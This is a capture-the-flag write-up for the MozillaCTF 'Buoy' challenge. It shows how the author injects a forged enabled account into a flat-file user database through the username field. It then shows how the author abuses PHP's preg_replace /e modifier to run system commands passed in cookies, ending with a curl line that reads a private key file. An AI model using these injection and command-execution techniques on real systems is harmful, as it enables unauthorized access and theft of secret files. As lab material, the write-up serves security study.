MozillaCTF Write-Up Buoy (250)

January 27, 2012

Get access to the system of the communication buoy (pwned feds, international waters) and steal the private key that is located in /home/buoy/private.key
It might help you that our intelligence has found the source code.

Looking at the source, we see that there should be a way to register using /?m=register – it is however disabled. So, we first need to find a way to register. There is a folder “modules” beneath the root folder, which contains register.php. We find a function, which is called with the parameters




. The two parameters are checked so they cannot be longer then 50 chars.

function register( $username, $password )
 $handle = @fopen( '/tmp/users.db', 'a' );

if( !$handle )
 return false;

fwrite( $handle, $username . ';' . md5( $password ) . ';' . ( $auto_enable_accounts ? '1' : '0' ) . ';' . "\n" );
 fclose( $handle );

return true;

Looking at the source, we see that a user is not automatically enabled because the $auto_enable_accounts var is not set. Thus, we need some way to enable our user. We have unfiltered control of the username, so let’s just register as “sqrts;ea847988ba59727dbf4e34ee75726dc3;1;\na” with any password. This adds two lines to the database file

a;<random md5s>;0;

So, we can now log into the system as sqrts with password “topsecret” (if you wondered what the md5 was).
After having logged in, we now need to find a vuln to run our attack. A promising this is “modules/read.php”. It reads and displays the message that were sent before. However, it has some form of smart tags to generate formatted output.

function replace_code( $message )
 $message = preg_replace( '/\[b\](.*?)\[\/b\]/i', '<b>$1</b>', $message );
 $message = preg_replace( '/\[i\](.*?)\[\/i\]/i', '<i>$1</i>', $message );
 $message = preg_replace( '/\[uc\](.*?)\[\/uc\]/ie', 'strtoupper("$1")', $message );
 $message = preg_replace( '/\[lc\](.*?)\[\/lc\]/ie', 'strtolower("$1")', $message );

return $message;

replace_code is called on the posted text. Looking at the third and fourth preg_replace, we see the “e” modifier. “e” stands for evaluate and means that the second parameter is run as PHP code. After playing with it a bit, we entered the following text


This notion is available in PHP to call functions generated from a string – and we can control $_COOKIE. Note that we could not use quotes for the name in the array because of htmlspecialchars() being called on the message first. Afterwards, we can execute our commands using curl.

curl -b "PHPSESSID=...;cmd=system;cmd=cat /home/buoy/private.key"

which gives us the flag.

Leave a Reply